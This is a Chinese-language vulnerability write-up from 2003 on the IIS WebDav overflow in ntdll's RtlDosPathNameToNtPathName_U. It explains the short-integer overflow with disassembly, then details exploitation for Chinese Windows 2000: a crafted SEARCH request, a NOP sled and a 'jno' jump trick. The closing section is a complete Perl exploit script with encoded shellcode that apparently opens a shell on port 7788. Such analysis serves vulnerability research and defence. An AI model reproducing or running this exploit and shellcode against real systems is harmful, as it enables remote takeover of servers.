【实战】WebDav远程溢出漏洞分析

WebDav远程溢出漏洞分析

创建时间：2003-03-27
文章属性：原创
文章来源： http://www.xfocus.net
文章提交： isno (isno_at_sina.com)

WebDav远程溢出漏洞分析

by isno@xfocus.org

一、漏洞分析
    这个漏洞可能是前些年就有牛人发现了的，不过一直没公布，直到最近微软出了安全公告大家才知道原来有这么个漏洞。虽然WebDav是通过IIS来利用这个漏洞的，但是漏洞本身并不是IIS造成的，而是ntdll.dll里面的一个API函数造成的。有就是说，很多调用这个API的应用程序都存在这个漏洞。整个漏洞的引用关系是这样的：

IIS->WebDav->kernel32!GetFileAttributesExW->ntdll!RtlDosPathNameToNtPathName_U(溢出)

    其中GetFileAttributesExW是一个很常用的，用来得到文件属性的API函数，它的第一个参数是文件名。并且随后调用ntdll.dll中的RtlDosPathNameToNtPathName_U函数，来处理这个文件名。如果给一个超长的文件名，就会导致RtlDosPathNameToNtPathName_U函数中发生溢出。
    这个溢出从本质上来说是一个短整型数溢出，而后导致了堆栈溢出。最近出现的很多漏洞都是整数溢出引起的，这一点值得研究。
    当我们对IIS发送如下请求就会触发溢出：
    SEARCH /[buffer(>65513 bytes)] HTTP/1.0
    其中IIS就把buffer前面加上几个字节的路径，然后作为文件名参数传给了GetFileAttributesExW，然后GetFileAttributesExW又把这个长字符串作为参数传给RtlDosPathNameToNtPathName_U，然后就溢出了。
    下面我们就来看看溢出是怎样发生的：

.text:77F8AFFC                 public RtlDosPathNameToNtPathName_U
.text:77F8AFFC RtlDosPathNameToNtPathName_U proc near  ; CODE XREF: sub_77F87F5C+15p
.text:77F8AFFC                                         ; .text:77F8D9F8p ...
.text:77F8AFFC                 push    ebp
.text:77F8AFFD                 mov     ebp, esp
.text:77F8AFFF                 push    0FFFFFFFFh
.text:77F8B001                 push    offset dword_77F8B1E8
.text:77F8B006                 push    offset sub_77F82B95
.text:77F8B00B                 mov     eax, large fs:0
.text:77F8B011                 push    eax
.text:77F8B012                 mov     large fs:0, esp    ;建立异常链
.text:77F8B019                 push    ecx
.text:77F8B01A                 push    ecx
.text:77F8B01B                 sub     esp, 26Ch
.text:77F8B021                 push    ebx
.text:77F8B022                 push    esi
.text:77F8B023                 push    edi
.text:77F8B024                 mov     [ebp+var_18], esp
.text:77F8B027                 xor     ebx, ebx
.text:77F8B029                 mov     [ebp+var_58], ebx
.text:77F8B02C                 mov     [ebp+var_3C], ebx
.text:77F8B02F                 mov     edi, 20Ah
.text:77F8B034                 mov     esi, edi
.text:77F8B036                 push    [ebp+arg_0]          ;路径UNICODE字符串
.text:77F8B039                 lea     eax, [ebp+var_30]    ;UNICODE_STRING结构指针
.text:77F8B03C                 push    eax
.text:77F8B03D                 call    RtlInitUnicodeString


    调用RtlInitUnicodeString函数来初始化UNICODE_STRING结构，UNICODE_STRING结构如下：

typedef struct _UNICODE_STRING {
    USHORT Length;    //UNICODE字符串长度，短整型数，最大可以是0xffff即65535
    USHORT MaximumLength;    //UNICODE字符串可存储最大长度，短整型，最大可以是0xffff即65535
    PWSTR Buffer;    //存放UNICODE字符串的地址
} UNICODE_STRING *PUNICODE_STRING;

    RtlInitUnicodeString的作用其实就是把路径字符串存放到Buffer，并计算其长度，放在Length里。这里就存在一个短整型数溢出，如果路径字符串的长度超过65535，由于Length是短整型数，所以无法容纳，就会溢出，例如当路径长度是65536，那么Length就为0，与实际长度不等。在后面会使用到Length的时候就导致了普通的堆栈溢出。

.text:77F8B05A                 lea     eax, [ebp+var_270]
.text:77F8B060                 mov     [ebp+var_3C], eax
RtlDosPathNameToNtPathName_U函数堆栈中的地址，距离函数栈底的距离为0x270字节，后面会作为参数传入sub_77F8AC33

.text:77F8B0A0                 lea     eax, [ebp+var_274]
.text:77F8B0A6                 push    eax
.text:77F8B0A7                 lea     eax, [ebp+var_38]
.text:77F8B0AA                 push    eax
.text:77F8B0AB                 push    [ebp+arg_8]
.text:77F8B0AE                 push    [ebp+var_3C]        ;前面取的那个堆栈地址[ebp+var_270]
.text:77F8B0B1                 mov     edi, 208h
.text:77F8B0B6                 push    edi                 ;长度限制，0x208
.text:77F8B0B7                 lea     eax, [ebp+var_30]   ;已经初始化过的UNICODE_STRING结构指针
.text:77F8B0BA                 push    eax
.text:77F8B0BB                 call    sub_77F8AC33        ;调用sub_77F8AC33

.text:77F8AC33 sub_77F8AC33    proc near               ; CODE XREF: RtlGetFullPathName_U+24p
.text:77F8AC33                                         ; RtlDosPathNameToNtPathName_U+BFp ...
......
.text:77F8AD96                 mov     dx, [ebp+var_30]
.text:77F8AD9A                 movzx   esi, dx
.text:77F8AD9D                 mov     eax, [ebp+var_28]
.text:77F8ADA0                 lea     ecx, [eax+esi]      ;ecx就是UNICODE_STRING结构中的Length
.text:77F8ADA3                 mov     [ebp+var_5C], ecx
.text:77F8ADA6                 cmp     ecx, [ebp+arg_4]    ;长度限制比较，Length与arg_4参数（即0x208）进行比较
.text:77F8ADA9                 jnb     loc_77F8E771        ;如果UNICODE字符串的长度大于0x208就跳转到错误处理
    这里是有一个长度限制的，即UNICODE字符串的长度Length不能超过0x208字节，否则就认为是超长的，不进行字符串拷贝。但是由于Length这个短整型数溢出了，它比UNICODE字符串的实际长度小的多，所以造成长度限制比较失效，从而造成了后面的溢出。
    进行完长度限制比较后，就会把UNICODE_STRING结构中的Buffer里面的内容拷贝到[arg_8+offset]里面（offset很小），也就是前面取的那个堆栈地址[ebp+var_270]里面。
.text:77F8AE1B                 movzx   ecx, [ebp+var_4C]
.text:77F8AE1F                 add     ecx, [ebp+arg_8]    ;ecx就是前面取的那个堆栈地址[ebp+var_270]
......
接下来就是一些的字符串copy操作，把UNICODE_STRING结构中的Buffer里面的内容拷贝到[arg_8+offset]里面。
.text:77F8AE63                 mov     [ecx], dx
.text:77F8AE66                 add     ecx, ebx
    字符串copy的时候就溢出了，会把RtlDosPathNameToNtPathName_U函数的返回地址，以及建立的异常链全部覆盖掉。一般我们通过把异常处理指针覆盖成我们能控制的地址，这样后面触发异常的时候就会跳去执行我们的shellcode。
    大概的过程就是这样，当然其中还有一些比较复杂的处理，不再赘述。

二、漏洞利用
    微软的公告出来之后，我就重现了这个漏洞，但是由于很长时间不搞这些东西了，连softice命令都要重新学学才能记起来。到要写这个的exploit程序，又发现其中的UNICODE转换很烦人，到现在也一直没有很通用的办法来利用。后来等到老外公布了他的exploit程序，我才发现原来中文版和英文版的Windows 2000的UNICODE转换不一样，对中文版win2000的exploit要麻烦的多，像老外那样子写的exploit程序根本无法攻击中文版的win2000。
    当我们把“SEARCH /[buffer] HTTP/1.0”传给IIS后，先进行一系列的处理把buffer解析出来，然后对buffer进行MultiByteToWideChar转换，把buffer转换成UNICODE形式。中文版和英文版的win2000的转换应该是不一样的，可能是转换的CodePage不一样，英文版可能是使用CP_ACP，中文版可能使用的是CP_UTF*，具体是怎样转换的我也没搞清楚，总之转换出的结果在中文版和英文版中应该是不一样的。
    这样就造成了中文版的难以利用，因为英文版中可以直接把一些指令或返回地址放在buffer里面，转换成UNICODE之后也不会改变。但是中文版的在转换之后就有好多字节变了，导致无法利用。按说像以前的ida/idq溢出也是经过UNICODE转换的，那个就可以用%u的方法进行编码，使得某些字节不进行转换。WebDav的溢出虽然也能用%u编码来控制不进行转换，但是实际调试发现某些不符合规范的字节还是被改变了。估计是对有%u编码的字节先进行了MultiByteToWideChar转换，然后又用WideCharToMultiByte给转回来了。所以不符合UNICODE编码规范的字符就还是被改变了。
    最困难的问题就是我们用来覆盖的返回地址的范围大大缩小了，只能用一些符合UNICODE编码规范的字符，否则就会被转换调。可视字符（0x20~0x7f）当然是可以用的，但是要用这些字符来构造出可执行的指令就比较困难了，所以不能用含JMP EBX之类指令的地址来作为返回地址，否则即使返回到buffer里面也很难用一段指令跳转到shellcode去。而英文版就没有这个问题，可是现在公布的exploit都没用%u编码和JMP EBX地址的方法，而是用堆栈地址做返回地址，这样导致这些exploit对付英文版时成功率也不高。
    对付中文版的win2000麻烦的多，因为在buffer里面不允许有不符合UNICODE编码的字符，所以直接使用堆栈内的shellcode地址作为返回地址比较好。这样就需要在shellcode之前放尽量多的NOP，占据一段比较大的内存空间，这样确保返回到NOP里面。HTTP协议里面允许存放最大量数据的地方就是POST数据，所以shellcode就放在这里。整个HTTP请求这样构造：

SEARCH /[ret]...[ret][AAA...AAA][qq] HTTP/1.0
Host: ISNO
Content-Type: text/xml
Content-length: [NOP和Shellcode的总长度]

[NOPNOPNOP...NOPNOP][Shellcode]

    因为AAAA...AAAA的长度比较长，怕万一返回到这里面就没办法执行shellcode了，所以在AAAA的后面要放一个跳转指令，因为在堆栈里NOP和shellcode是AAAA的后面排列的（但是并不紧挨着，中间有一些无用字符），所以如果返回到AAAA里面就一直执行inc ecx指令（0x41），然后最后跳转到NOP里去。因为在这里面要用符合UNICODE编码的指令，所以一般的jmp指令（0xeb）都不能用，我们就用一个jno xxxx（0x71）指令向后跳转。所以我们在AAAA的后面放上两个q（0x71）来作为跳转指令，这样即使返回到AAAA里面也能保证最后跳转到后面的shellcode执行。
    具体的exploit程序请参见附程序。
    我在几个中文版win2000＋SP2和SP3上都测试成功了，但是也有一些机器不能成功，需要调整返回地址才行。所以这个程序的通用性仍然不是很好。另外一些机器上还有返回地址要有2个字节对齐的问题，因此使用的返回地址尽量用前两个字节和后两个字节相同的，例如0x00d700d7。
    顺便说一下，我发现perl真是好东西，尤其是用来构造字符串非常方便。
    
三、总结
    这是一个典型的整数溢出导致的堆栈溢出，和以前那个ASP溢出有相似之处，只不过ASP溢出是整数溢出导致堆溢出。这个漏洞的另一个特点就是它是UNICODE转换之后的溢出，这大大增加了利用的难度。
    由于本人水平极为有限，加上没有时间进行更仔细的分析，所以对一些处理过程的理解可能不正确，对该漏洞的分析肯定存在纰漏，也许IIS有一些特殊的转换处理过程我没有发现，可能会导致这个漏洞有非常容易的方法来利用。写这个文章的目的就在于抛砖引玉，让牛人们把好的exploit方法公布出来，让小弟我也学习一下。


附WebDav远程溢出程序：
----------------------------------------------------------------------
#!/usr/bin/perl
#65514 by isno@xfocus.org
#tested on Win2k SP3 Chinese version

use IO::Socket;
if ($#ARGV<0){die "webdavx.pl IP/r/n";}
$host = @ARGV[0];
$port= 80;

$ret = "%u00d7%u00d7" x 500;
$buf = "A" x 64502;
$jmp = "BBBBBBBBBBqq";# qq="/x71/x71" means jno xxxx
$nop = "/x90" x 40000;
$sc =
    "/x90/xeb/x03/x5d/xeb/x05/xe8/xf8/xff/xff/xff/x83/xc5/x15/x90/x90".
        "/x90/x8b/xc5/x33/xc9/x66/xb9/x10/x03/x50/x80/x30/x97/x40/xe2/xfa".
        "/x7e/x8e/x95/x97/x97/xcd/x1c/x4d/x14/x7c/x90/xfd/x68/xc4/xf3/x36".
        "/x97/x97/x97/x97/xc7/xf3/x1e/xb2/x97/x97/x97/x97/xa4/x4c/x2c/x97".
        "/x97/x77/xe0/x7f/x4b/x96/x97/x97/x16/x6c/x97/x97/x68/x28/x98/x14".
        "/x59/x96/x97/x97/x16/x54/x97/x97/x96/x97/xf1/x16/xac/xda/xcd/xe2".
        "/x70/xa4/x57/x1c/xd4/xab/x94/x54/xf1/x16/xaf/xc7/xd2/xe2/x4e/x14".
        "/x57/xef/x1c/xa7/x94/x64/x1c/xd9/x9b/x94/x5c/x16/xae/xdc/xd2/xc5".
        "/xd9/xe2/x52/x16/xee/x93/xd2/xdb/xa4/xa5/xe2/x2b/xa4/x68/x1c/xd1".
        "/xb7/x94/x54/x1c/x5c/x94/x9f/x16/xae/xd0/xf2/xe3/xc7/xe2/x9e/x16".
        "/xee/x93/xe5/xf8/xf4/xd6/xe3/x91/xd0/x14/x57/x93/x7c/x72/x94/x68".
        "/x94/x6c/x1c/xc1/xb3/x94/x6d/xa4/x45/xf1/x1c/x80/x1c/x6d/x1c/xd1".
        "/x87/xdf/x94/x6f/xa4/x5e/x1c/x58/x94/x5e/x94/x5e/x94/xd9/x8b/x94".
        "/x5c/x1c/xae/x94/x6c/x7e/xfe/x96/x97/x97/xc9/x10/x60/x1c/x40/xa4".
        "/x57/x60/x47/x1c/x5f/x65/x38/x1e/xa5/x1a/xd5/x9f/xc5/xc7/xc4/x68".
        "/x85/xcd/x1e/xd5/x93/x1a/xe5/x82/xc5/xc1/x68/xc5/x93/xcd/xa4/x57".
        "/x3b/x13/x57/xe2/x6e/xa4/x5e/x1d/x99/x13/x5e/xe3/x9e/xc5/xc1/xc4".
        "/x68/x85/xcd/x3c/x75/x7f/xd1/xc5/xc1/x68/xc5/x93/xcd/x1c/x4f/xa4".
        "/x57/x3b/x13/x57/xe2/x6e/xa4/x5e/x1d/x99/x17/x6e/x95/xe3/x9e/xc5".
        "/xc1/xc4/x68/x85/xcd/x3c/x75/x70/xa4/x57/xc7/xd7/xc7/xd7/xc7/x68".
        "/xc0/x7f/x04/xfd/x87/xc1/xc4/x68/xc0/x7b/xfd/x95/xc4/x68/xc0/x67".
        "/xa4/x57/xc0/xc7/x27/x9b/x3c/xcf/x3c/xd7/x3c/xc8/xdf/xc7/xc0/xc1".
        "/x3a/xc1/x68/xc0/x57/xdf/xc7/xc0/x3a/xc1/x3a/xc1/x68/xc0/x57/xdf".
        "/x27/xd3/x1e/x90/xc0/x68/xc0/x53/xa4/x57/x1c/xd1/x63/x1e/xd0/xab".
        "/x1e/xd0/xd7/x1c/x91/x1e/xd0/xaf/xa4/x57/xf1/x2f/x96/x96/x1e/xd0".
        "/xbb/xc0/xc0/xa4/x57/xc7/xc7/xc7/xd7/xc7/xdf/xc7/xc7/x3a/xc1/xa4".
        "/x57/xc7/x68/xc0/x5f/x68/xe1/x67/x68/xc0/x5b/x68/xe1/x6b/x68/xc0".
        "/x5b/xdf/xc7/xc7/xc4/x68/xc0/x63/x1c/x4f/xa4/x57/x23/x93/xc7/x56".
        "/x7f/x93/xc7/x68/xc0/x43/x1c/x67/xa4/x57/x1c/x5f/x22/x93/xc7/xc7".
        "/xc0/xc6/xc1/x68/xe0/x3f/x68/xc0/x47/x14/xa8/x96/xeb/xb5/xa4/x57".
        "/xc7/xc0/x68/xa0/xc1/x68/xe0/x3f/x68/xc0/x4b/x9c/x57/xe3/xb8/xa4".
        "/x57/xc7/x68/xa0/xc1/xc4/x68/xc0/x6f/xfd/xc7/x68/xc0/x77/x7c/x5f".
        "/xa4/x57/xc7/x23/x93/xc7/xc1/xc4/x68/xc0/x6b/xc0/xa4/x5e/xc6/xc7".
        "/xc1/x68/xe0/x3b/x68/xc0/x4f/xfd/xc7/x68/xc0/x77/x7c/x3d/xc7/x68".
        "/xc0/x73/x7c/x69/xcf/xc7/x1e/xd5/x65/x54/x1c/xd3/xb3/x9b/x92/x2f".
        "/x97/x97/x97/x50/x97/xef/xc1/xa3/x85/xa4/x57/x54/x7c/x7b/x7f/x75".
        "/x6a/x68/x68/x7f/x05/x69/x68/x68/xdc/xc1/x70/xe0/xb4/x17/x70/xe0".
        "/xdb/xf8/xf6/xf3/xdb/xfe/xf5/xe5/xf6/xe5/xee/xd6/x97/xdc/xd2/xc5".
        "/xd9/xd2/xdb/xa4/xa5/x97/xd4/xe5/xf2/xf6/xe3/xf2/xc7/xfe/xe7/xf2".
        "/x97/xd0/xf2/xe3/xc4/xe3/xf6/xe5/xe3/xe2/xe7/xde/xf9/xf1/xf8/xd6".
        "/x97/xd4/xe5/xf2/xf6/xe3/xf2/xc7/xe5/xf8/xf4/xf2/xe4/xe4/xd6/x97".
        "/xd4/xfb/xf8/xe4/xf2/xdf/xf6/xf9/xf3/xfb/xf2/x97/xc7/xf2/xf2/xfc".
        "/xd9/xf6/xfa/xf2/xf3/xc7/xfe/xe7/xf2/x97/xd0/xfb/xf8/xf5/xf6/xfb".
        "/xd6/xfb/xfb/xf8/xf4/x97/xc0/xe5/xfe/xe3/xf2/xd1/xfe/xfb/xf2/x97".
        "/xc5/xf2/xf6/xf3/xd1/xfe/xfb/xf2/x97/xc4/xfb/xf2/xf2/xe7/x97/xd2".
        "/xef/xfe/xe3/xc7/xe5/xf8/xf4/xf2/xe4/xe4/x97/x97/xc0/xc4/xd8/xd4".
        "/xdc/xa4/xa5/x97/xe4/xf8/xf4/xfc/xf2/xe3/x97/xf5/xfe/xf9/xf3/x97".
        "/xfb/xfe/xe4/xe3/xf2/xf9/x97/xf6/xf4/xf4/xf2/xe7/xe3/x97/xe4/xf2".
        "/xf9/xf3/x97/xe5/xf2/xf4/xe1/x97/x95/x97/x89/xfb/x97/x97/x97/x97".
        "/x97/x97/x97/x97/x97/x97/x97/x97/xf4/xfa/xf3/xb9/xf2/xef/xf2/x97".
        "/x68/x68/x68/x68";

$socket = IO::Socket::INET->new(PeerAddr => $host, PeerPort => $port, Proto => "tcp", Type =>SOCK_STREAM) or die "Couldn't connect: @!/n";
print $socket "SEARCH /$ret$buf$jmp HTTP/1.0/r/n";
print $socket "Host: ISNO/r/n";
print $socket "Content-Type: text/xml/r/n";
print $socket "Content-length: 40804/r/n/r/n";
print $socket "$nop$sc/r/n";

print "send buffer.../r/n";
print "telnet target 7788/r/n";

close($socket);

----------------------------------------------------------------------